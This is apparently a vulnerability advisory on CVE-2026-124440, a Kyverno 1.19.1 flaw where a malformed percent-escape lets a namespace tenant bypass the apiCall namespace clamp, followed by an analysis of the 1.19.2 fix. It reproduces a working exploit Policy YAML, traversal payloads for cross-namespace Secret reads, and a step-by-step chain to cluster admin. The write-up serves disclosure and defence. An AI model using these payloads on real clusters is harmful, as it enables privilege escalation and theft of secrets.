Introduction
A single malformed percent-escape in a Kyverno Policy's apiCall urlPath is enough to turn a namespace tenant into a cluster administrator. In a default Kyverno 1.19.1 install, a tenant whose only privilege is creating Policies in its own namespace can make the privileged admission-controller ServiceAccount read other namespaces' resources and create cluster-scoped mutating webhooks, chaining all the way to full control of the cluster.
Kyverno is a Kubernetes native policy engine, originally created by Nirmata and contributed to CNCF in 2020, that supports declarative policy as code for platform and security guardrails. It reached CNCF graduated status on March 24, 2026, with named users including Bloomberg, Coinbase, Deutsche Telekom, LinkedIn, Spotify, Vodafone, and Wayfair. Because the engine runs with broad authority to inspect and mutate cluster state, flaws in how it confines tenant-supplied inputs have outsized impact.
Technical Information
CVE-2026-124440 is an authorization bypass classified as CWE-441 (Unintended Proxy or Intermediary), the confused deputy problem. The controller supplies authority the tenant does not possess directly, and the tenant tricks it into using that authority against targets outside the tenant's scope.
Kyverno 1.19.1 introduced a namespace clamp meant to confine a namespaced Policy's apiCall requests to the Policy's own namespace. The clamp lives in pkg/engine/apicall/apiCall.go, in the Fetch function. The core defect is that validation operates on a decoded and cleaned copy of urlPath, while execution uses the raw request path:
unescapedPath, err := url.PathUnescape(call.APICall.URLPath) // L76 if err != nil { unescapedPath = call.APICall.URLPath // L80: decode abandoned, raw path validated } cleanPath := path.Clean(unescapedPath) // L82: path.Clean does not decode %2e%2e if a.policyNamespace != "" { if matches := namespacePathRegex.FindStringSubmatch(cleanPath); len(matches) > 2 { // L86 ns := matches[2] if ns != a.policyNamespace { // L88 return nil, fmt.Errorf("path %s refers to namespace %s, which is different from the policy namespace %s", cleanPath, ns, a.policyNamespace) } } else { return nil, fmt.Errorf("path %s does not contain a namespace segment, which is required for namespaced policies", cleanPath) } } data, err := a.Execute(ctx, &call.APICall) // L96: the raw call.APICall.URLPath is sent
There are two distinct failures here. First, on line 80, if url.PathUnescape returns an error, the code silently falls back to validating the raw, still-encoded string. path.Clean on line 82 does not decode %2e%2e, so the clamp's regex sees the literal encoded path. Second, on line 96, Execute is handed the unmodified call.APICall.URLPath, not the string that was just validated.
Execute forwards the unmodified value to RawAbsPath in pkg/clients/dclient/client.go, where client-go's RequestURI parses it with url.Parse. That parsing decodes %2e%2e to .., collapses the traversal, and discards a malformed query into an inert RawQuery:
case "GET": return c.rest.Get().RequestURI(path).DoRaw(ctx) // L171 case "POST": return c.rest.Post().Body(dataReader).RequestURI(path).DoRaw(ctx) // L173
Exploit primitive
url.PathUnescape returns an error on any malformed percent-escape. Putting such an escape in a trailing query keeps the path well-formed for client-go while breaking the clamp's decode. This is an open input class, not a single payload. Examples from the advisory include ?a=%, ?a=%2, ?a=%zz, ?=%, and &z=%g0. Combined with %2e%2e traversal segments, the validator reads the attacker's own namespace (for example attacker-ns) while the request reaches another namespace or a cluster-scoped collection, executing as the Kyverno admission-controller ServiceAccount.
Attack flow
The attacker starts with a tenant identity authorized only to create on policies.kyverno.io in its own namespace. Baseline denial is confirmed: kubectl auth can-i create mutatingwebhookconfigurations --as=system:serviceaccount:attacker-ns:attacker returns no. The attacker then:
- Authors a namespaced Policy whose apiCall urlPath contains
%2e%2etraversal segments plus a malformed-escape query suffix. - Triggers the Policy, for example by creating any ConfigMap in its own namespace.
- Causes the controller to execute the decoded, collapsed request against a cross-namespace or cluster-scoped target, using the controller's credentials.
- Reads cross-namespace resources or writes cluster-scoped objects such as a MutatingWebhookConfiguration.
- Chains the webhook primitive into a full cluster admin escalation.
Proof of Concept
A complete, reproducible proof-of-concept is published in the maintainer's GitHub Security Advisory GHSA-39w8-hv5g-f73w (authored by JimBugwadia, reported by WarlordSam07), which NVD and VulnCheck both associate with CVE-2026-124440. No standalone exploit repository exists. The PoC is embedded in the advisory and was reviewed and reproduced by the maintainers on a patched release rather than independently executed by us.
The advisory confirms the issue using Kubernetes 1.31.0, Kyverno 1.19.1, and the stock Helm chart 3.9.1 with default values.
Cluster-scoped write PoC (webhook creation)
A namespaced Policy POSTs a MutatingWebhookConfiguration to the cluster-scoped collection via two %2e%2e segments plus the malformed-escape suffix. The value is consumed in a deny condition to show the bypass is independent of trigger shape:
apiVersion: kyverno.io/v1 kind: Policy metadata: { name: clamp-bypass, namespace: attacker-ns } spec: validationFailureAction: Audit background: false rules: - name: emit match: { any: [ { resources: { kinds: [ConfigMap] } } ] } context: - name: r apiCall: method: POST urlPath: "/apis/admissionregistration.k8s.io/v1/namespaces/attacker-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations?a=%" data: - { key: apiVersion, value: admissionregistration.k8s.io/v1 } - { key: kind, value: MutatingWebhookConfiguration } - { key: metadata, value: { name: cross-scope-write } } - key: webhooks value: - name: w.attacker-ns.svc admissionReviewVersions: [v1] sideEffects: None failurePolicy: Ignore clientConfig: { url: https://unused.attacker-ns.svc/ } rules: [ { operations: [CREATE], apiGroups: [""], apiVersions: [v1], resources: [pods] } ] validate: message: "n={{ r.metadata.name }}" deny: {}
The tenant creating any ConfigMap triggers the call, and the cluster-scoped object is created with the controller ServiceAccount as its author:
$ kubectl get mutatingwebhookconfiguration cross-scope-write -o jsonpath='{.metadata.managedFields[0].manager}' kyverno
The identical Policy with the ?a=% query removed (leaving plain %2e%2e) is correctly rejected and writes nothing. The malformed escape is the entire difference.
Cross-namespace read PoC
A one-segment variant with urlPath: /api/v1/namespaces/attacker-ns/%2e%2e/victim-ns/configmaps/victim-config?a=% rendered in the deny message makes the controller read a victim ConfigMap the tenant is denied get on, leaking its value (for example C1-LEAK=CROSS-NS-CONFIGMAP-READ-...). The same path reads Secrets where the deployment grants the controller that access.
Full chain to cluster admin
Using the same bypass, the tenant registers a cluster-scoped webhook with no namespace selector matching pod creation in kube-system, pointing at a tenant-run endpoint that returns a JSONPatch. Routine kube-system pod churn (kube-proxy and CoreDNS DaemonSets, rollouts) fires the webhook without any other user's action. It rewrites a pod's serviceAccountName to clusterrole-aggregation-controller and injects an attacker container. That container's mounted token holds update on ClusterRoles (but not create on ClusterRoleBindings), which is used to patch system:basic-user (bound to the tenant via system:authenticated) to grant all verbs on all resources. The tenant's own identity then becomes cluster admin:
$ kubectl auth can-i '*' '*' --all-namespaces --as=system:serviceaccount:attacker-ns:attacker yes
The advisory notes that PR #17394 does not close the issue, and that the regression test Test_PercentEncodedPathTraversal never exercises a url.PathUnescape error, leaving the fallback branch untested. A sanitized reproduction bundle with synthetic namespaces is stated to be available to maintainers on request and is not publicly posted.
Patch Information
The fixed version is Kyverno v1.19.2, released 20 Oct 2026. GHSA-39w8-hv5g-f73w lists >= 1.19.1 as vulnerable and 1.19.2 as patched. The v1.19.2 release notes do not name GHSA-39w8 directly, because the advisory was published three days later, but they list a group of fixes for "API path validation and namespace confinement" that shipped in PRs #17984 and #18021.
The fix that closes this bug class is in PR #17984, merged to release-1.19 as commit f67231d. It changes the apiCall namespace clamp in pkg/engine/apicall/apiCall.go. The patch deletes the silent fallback and the separate validate-then-send steps:
- unescapedPath, err := url.PathUnescape(call.APICall.URLPath) - if err != nil { - // If unescaping fails, use the original path for validation. - // The K8s API server will reject invalid encoding if present. - unescapedPath = call.APICall.URLPath - } - cleanPath := path.Clean(unescapedPath) + if call.APICall.URLPath != "" { + canonicalPath, validationPath, err := canonicalizeURLPath(call.APICall.URLPath) + if err != nil { + return nil, fmt.Errorf("invalid urlPath for context entry %s: %w", a.entry.Name, err) + } ... + // Execute the exact same canonical path that was just validated - + // validation and execution must never diverge on representation. + call.APICall.URLPath = canonicalPath
How canonicalizeURLPath works
The new helper lives in pkg/engine/apicall/path.go. It parses the input once with net/url.Parse, then rejects absolute URLs (anything with a scheme, host, or user info), rejects fragments, requires the path to start with /, runs path.Clean on the decoded path component only, and rebuilds the request with parsed.RequestURI(). It returns two values: the canonical path?query string to execute, and the cleaned path alone for validation.
This closes the malformed-escape bypass in two ways. There is no more silent fallback: if parsing fails, the call is rejected, and the code never goes back to checking the raw string. The query is also handled separately. It is split off before the path is decoded, so a bad escape in the query can no longer stop the path's %2e%2e segments from being decoded and collapsed. Take the advisory's payload /apis/admissionregistration.k8s.io/v1/namespaces/attacker-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations?a=%: its path now cleans to the cluster-scoped .../mutatingwebhookconfigurations, which has no /namespaces/<ns>/ segment, so the clamp rejects it, and it is the same path that would have been sent.
Related hardening in the same PR
The clamp now matches the namespace regex against the path only, not against path?query, which stops a decoy such as ?x=/namespaces/tenant-a/y from passing while the real path points at a cluster-scoped endpoint. Legitimate query parameters such as labelSelector are still sent. A new namespaceObjectPathRegex rejects /api/v1/namespaces/<ns> and its status and finalize subresources for namespaced policies, since a /namespaces/ segment alone does not prove the target is namespace-scoped. Namespaced policies still cannot make service calls (empty urlPath); the commit notes that wrapping the check in if URLPath != "" would otherwise have silently skipped it.
Follow-up anchoring
PR #18021, also in v1.19.2, cherry-picks a further change from Nirmata's enterprise branch to release-1.19. It ties the clamp to the namespace's fixed position in the path and keeps the check that rejects the cluster-scoped Namespace object.
Tests
Test_URLPathCanonicalization uses a recordingClient to confirm that the executor receives exactly the validated canonical path. It covers query decoys on cluster-scoped paths, traversal hidden in fragments, %2e%2e paths that stay inside the namespace, absolute-URL injection, the Namespace object itself, and preservation of legitimate query strings. The key design change is that one parse produces both what gets checked and what gets sent, so the two cannot drift apart again.
Affected Systems and Versions
- Affected software: Kyverno, the open source Kubernetes policy engine.
- Affected versions: Kyverno >= 1.19.1 and < 1.19.2 (expressed in the CVE record as 1.19.1 before 1.19.2). The advisory also notes the bug was present on current
main. - Fixed version: Kyverno 1.19.2, released 20 Oct 2026. Nirmata documents Helm chart 3.9.2 as shipping Kyverno 1.19.2.
- Configuration: A default Kyverno install is sufficient. The precondition is a namespace tenant with
createonpolicies.kyverno.ioin its own namespace. - Severity: CVSS 3.1 9.9 Critical (
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) and CVSS 4.0 9.4 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). CWE-441.
Vendor Security History
Kyverno's security process predates this CVE. Its November 2023 audit was conducted by Ada Logics with project maintainers and OSTIF, funded by CNCF, covering threat modeling, manual code review, fuzzing, and supply chain assessment. The manual review found 10 security issues, of which four concerned a Notary verifier not yet in an official release and one concerned an upstream dependency. Maintainers reported addressing all audit issues in 1.10.6 and 1.11.1, and policy fuzzers found no policy bypasses during that work.
The apiCall history is directly relevant. A prior advisory, GHSA-5qq8-67g6-4h2w, published September 10, 2026, identified 1.19.1 as its patched release. The present advisory bypasses the namespace clamp introduced in that very release and identifies 1.19.2 as the fix. The lesson is that project maturity and earlier remediation do not replace checking the precise advisory and repair version against the build you actually run. There is also a publication discrepancy worth preserving: the upstream 1.19.2 release page lists 24 published advisories, whereas Nirmata's October 23 briefing lists 26. Neither total represents the number of vulnerabilities covered by this single CVE.
References
- NVD: CVE-2026-124440
- MITRE CVE Record: CVE-2026-124440
- GHSA-39w8-hv5g-f73w: Cluster-admin escalation via malformed percent-escape bypass
- VulnCheck Advisory: Kyverno 1.19.1 Privilege Escalation via apiCall Namespace Clamp Bypass
- GHSA-5qq8-67g6-4h2w: Prior apiCall urlPath advisory
- Fix commit f67231d
- PR #17984: apiCall namespace clamp fix
- PR #18021: Follow-up anchoring
- Kyverno v1.19.2 Release
- CWE-441: Unintended Proxy or Intermediary
- Nirmata: Kyverno 1.19.2 Security Release
- CNCF Announces Kyverno's Graduation
- Kyverno 2023 Security Audit
- Kyverno Security Guide


![CVE-2026-119155: Unauthenticated Time-Based SQL Injection in wpForo Forum via href[locale], with Patch Analysis](/_next/image?url=https%3A%2F%2Fstorage.googleapis.com%2Fzeropath-fe-assets%2Fblog-assets%2Fcve-2026-119155.png&w=3840&q=75)
